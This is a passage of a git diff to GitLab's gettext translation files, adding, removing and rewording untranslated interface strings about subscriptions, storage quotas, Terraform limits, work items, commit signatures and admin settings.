+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40634,6 +41316,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40652,7 +41337,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40673,9 +41358,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -41166,15 +41848,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -41205,6 +41878,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -41479,9 +42167,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41739,6 +42424,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41890,6 +42578,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -42094,6 +42785,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -42442,6 +43136,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42544,21 +43241,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42781,6 +43484,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42856,9 +43562,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -43063,7 +43766,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -43509,6 +44212,13 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43725,7 +44435,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -44022,24 +44732,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -44146,15 +44844,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -44326,6 +45021,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -44368,6 +45066,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44548,6 +45249,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44587,6 +45291,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44656,6 +45363,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44818,15 +45528,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44857,15 +45561,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44923,24 +45621,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44968,9 +45654,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44989,15 +45672,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -45154,6 +45831,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -45212,6 +45892,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -45386,9 +46072,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -45455,10 +46138,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45626,10 +46309,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45821,6 +46501,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45833,9 +46516,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45905,6 +46585,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -46003,6 +46686,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -46037,6 +46723,9 @@ msgstr[3] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -46049,6 +46738,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -46073,9 +46765,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46808,10 +47497,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -47263,9 +47952,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -47354,6 +48055,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -47363,7 +48067,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -47396,7 +48100,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -47450,6 +48154,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -47471,6 +48181,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47577,6 +48293,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47709,9 +48428,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47802,6 +48518,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47841,9 +48560,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47859,7 +48575,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47952,7 +48668,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47983,6 +48699,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -48100,6 +48819,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -48253,8 +48975,12 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "YouTube"
msgstr ""
@@ -48494,6 +49220,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -48521,7 +49250,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48600,6 +49329,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48807,6 +49539,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -49051,10 +49786,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -49213,9 +49951,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49716,9 +50451,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -50243,6 +50975,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -50330,12 +51065,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50764,6 +51493,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/mk_MK/gitlab.po b/locale/mk_MK/gitlab.po
index ee086614d57..c9be79052e0 100644
--- a/locale/mk_MK/gitlab.po
+++ b/locale/mk_MK/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: mk\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:40\n"
+"PO-Revision-Date: 2023-01-10 06:45\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
